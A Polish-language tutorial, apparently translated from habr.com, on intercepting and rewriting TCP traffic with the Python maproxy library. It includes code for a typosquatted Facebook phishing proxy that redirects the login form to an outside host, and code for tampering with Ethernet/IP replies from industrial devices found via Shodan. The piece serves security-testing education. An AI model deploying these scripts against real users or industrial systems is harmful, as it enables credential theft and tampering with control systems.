Przekład artykułu przygotowany przed rozpoczęciem kursu .

Streszczenie
Różne rodzaje oceny bezpieczeństwa, począwszy od regularnych testów penetracyjnych oraz operacji Red Team, po ataki na urządzenia IoT/ICS oraz SCADA, wiążą się z pracą z binarnymi protokołami sieciowymi, co w zasadzie polega na przechwytywaniu i modyfikacji danych sieciowych między klientem a celem. Przechwytywanie ruchu sieciowego nie jest skomplikowanym zadaniem, gdyż mamy do dyspozycji takie narzędzia, jak Wireshark, Tcpdump czy Scapy, jednak modyfikacja okazuje się bardziej skomplikowana, ponieważ będziemy potrzebować swoistego interfejsu do odczytu danych z sieci, ich filtrowania, zmiany na bieżąco oraz wysyłania ich z powrotem do docelowego hosta niemal w czasie rzeczywistym. Ponadto idealnie byłoby, gdyby takie narzędzie mogło automatycznie obsługiwać wiele równoległych połączeń i miało możliwość dostosowywania za pomocą skryptów.
Pewnego dnia odkryłem narzędzie, które nazywa się , dokumentacja szybko uświadomiła mi, że maproxy – to dokładnie to, czego potrzebowałem. Jest to całkiem prosta, uniwersalna i łatwa w konfiguracji aplikacja proxy TCP. Przetestowałem to narzędzie na kilku dość złożonych aplikacjach, w tym urządzeniach ICS (które generują dużo pakietów), aby sprawdzić, czy może obsługiwać wiele równoległych połączeń, i narzędzie sprawdziło się dobrze.
Artykuł ten wprowadzi cię w przetwarzanie danych sieciowych w czasie rzeczywistym za pomocą maproxy.
Przegląd
Narzędzie maproxy opartego na Tornado – popularnym i rozwiniętym asynchronicznym frameworku sieciowym w Pythonie.
Ogólnie rzecz biorąc, może działać w kilku trybach:
TCP:TCP– z niezabezpieczonymi połączeniami TCP;TCP:SSLiSSL:TCP– z szyfrowaniem jednostronnym;SSL:SSL– z szyfrowaniem dwustronnym.
Dostępny jest w postaci biblioteki. Aby szybko uruchomić, możesz skorzystać z plików przykładowych, które pokazują podstawowe :
all.pycertificate.pemlogging_proxy.pyprivatekey.pemssl2ssl.pyssl2tcp.pytcp2ssl.pytcp2tcp.py
Przykład 1 – prosty dwukierunkowy proxy
Opierając się na tcp2tcp.py:
#!/usr/bin/env python
import tornado.ioloop
import maproxy.proxyserver
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
tornado.ioloop.IOLoop.instance().start() Domyślnie ProxyServer() przyjmuje dwa argumenty – miejsce połączenia i celujący port. server.listen() przyjmuje jeden argument – port, na którym nasłuchuje połączenia przychodzące.
Wykonanie skryptu:
# python tcp2tcp.py Aby przeprowadzić test, planujemy połączyć się z lokalnym serwerem SSH poprzez nasz skrypt proxy, który nasłuchuje na 2222/tcp porcie i łączy się ze standardowym portem 22/tcp serwera SSH:

Banner powitalny informuje, że nasz przykładowy skrypt pomyślnie przekierował ruch sieciowy.
Przykład 2 – modyfikacja danych
Inny skrypt demo logging_proxy.py idealnie nadaje się do interakcji z danymi sieciowymi. Komentarze w pliku opisują metody klasy, które możesz zmodyfikować, aby osiągnąć swoje cele:

Najciekawsze tutaj to:
on_c2p_done_read– do przechwytywania danych w drodze od klienta do serwera;on_p2s_done_read– w przeciwnym kierunku.
Spróbujmy zmienić banner SSH, który serwer zwraca klientowi:
[…]
def on_p2s_done_read(self,data):
data = data.replace("OpenSSH", "DumnySSH")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
[…]Uruchom skrypt:

Jak widać, klient został wprowadzony w błąd, ponieważ dla niego nazwa serwera SSH została zamieniona na „DumnySSH”.

Przykład 3 – prosta strona phishingowa
Istnieje nieskończona liczba zastosowań tego narzędzia. Tym razem skupmy się na czymś bardziej praktycznym z zakresu operacji Red Team. Spróbujmy naśladować stronę rejestracyjną m.facebook.com i wykorzystajmy niestandardową domenę z zamierzonym błędem w pisowni, np. m.facebok.com. Na potrzeby demonstracji załóżmy, że domena została zarejestrowana przez nas.
Zamierzamy ustanowić nieszyfrowane połączenie sieciowe z naszymi ofiarami proxy oraz SSL Stream dla serwera Facebook (31.13.81.36). Aby ten przykład działał, musimy zamienić nagłówek HTTP hosta i wprowadzić poprawną nazwę hosta, a także wyłączymy kompresję odpowiedzi, aby uzyskać łatwy dostęp do ich zawartości. Ostatecznie zamienimy formularz HTML, aby dane logowania były wysyłane do nas, zamiast do serwerów Facebook:
[…]
def on_c2p_done_read(self,data):
# zamiana nagłówka Host
data = data.replace("Host: m.facebok.com", "Host: m.facebook.com")
# wyłączenie kompresji
data = data.replace("gzip", "identity;q=0")
data = data.replace("deflate", "")
super(LoggingSession,self).on_c2p_done_read(data)
[…]
def on_p2s_done_read(self,data):
# częściowa zamiana odpowiedzi
data = data.replace("action="/login/", "action="https://redteam.pl/")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("31.13.81.36",443, session_factory=LoggingSessionFactory(), server_ssl_options=True)
server.listen(80)
[…]W rezultacie:

Jak widać, udało nam się pomyślnie zamienić oryginalną stronę.
Przykład 4 – Przechwytywanie Ethernet/IP
Długo zajmowałem się urządzeniami i oprogramowaniem przemysłowym (ICS / SCADA), takim jak programowalne kontrolery (PLC), moduły wejścia-wyjścia, napędy, przekaźniki, środowiska programowania drabinowego i wiele innych. Ten przypadek jest dla tych, którzy lubią rozwiązania przemysłowe. Hacking takich rozwiązań wiąże się z aktywnym działaniem z protokołami sieciowymi. W następnym przykładzie chciałbym pokazać, jak możecie zmodyfikować ruch sieciowy ICS/SCADA.
Do tego potrzebujesz:
- Słuchawki sieciowej, na przykład Wireshark;
- Urządzenia Ethernet/IP lub po prostu SIP, którego możesz znaleźć za pomocą usługi Shodan;
- Nasz skrypt oparty na
maproxy.
Na początek zobaczmy, jak wygląda typowy identyfikacyjny odpowiedź od CIP (Common Industrial Protocol):

Identyfikacja urządzenia odbywa się za pomocą protokołu Ethernet/IP, który jest rozszerzoną wersją protokołu Ethernet do celów przemysłowych, opakowuje protokoły sterowania, takie jak CIP. Zamierzamy zmienić dedykowaną nazwę identyfikacyjną, która jest widoczna na zrzucie ekranu „NI-IndComm for Ethernet” za pomocą naszego skryptu proxy. Moglibyśmy ponownie wykorzystać skrypt logging_proxy.py i w podobny sposób zmodyfikować metodę klasy on_p2s_done_read, ponieważ chcemy, aby na kliencie widoczna była inna nazwa identyfikacyjna.
Kod:
[…]
def on_p2s_done_read(self,data):
# częściowe zastąpienie odpowiedzi
# Sprawdzamy, czy otrzymaliśmy odpowiedź List Identity
if data[26:28] == b'x0cx00':
print('Otrzymano odpowiedź, zastępowanie')
data = data[:63] + 'DUMMY31337'.encode('utf-8') + data[63+10:]
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("1.3.3.7",44818,session_factory=LoggingSessionFactory())
server.listen(44818)
[…]
W istocie zapytaliśmy o identyfikację urządzenia dwukrotnie, druga odpowiedź to oryginał, a pierwsza została zmodyfikowana w locie.
I ostatnie
Moim zdaniem maproxy wygodne i proste narzędzie, które dodatkowo jest napisane w Pythonie, dlatego uważam, że możesz również skorzystać z jego użycia. Oczywiście są bardziej złożone narzędzia do przetwarzania i zmiany danych sieciowych, jednak wymagają one również większej uwagi i są zazwyczaj tworzone pod konkretne scenariusze użycia, na przykład, , lub dla przypadków podobnych do trzeciego, lub dla ostatniego przypadku. Tak czy inaczej, dzięki maproxy szybko zrealizujesz swoje pomysły związane z przechwytywaniem danych sieciowych, ponieważ przykłady skryptów są bardzo czytelne.
Źródło: habr.com
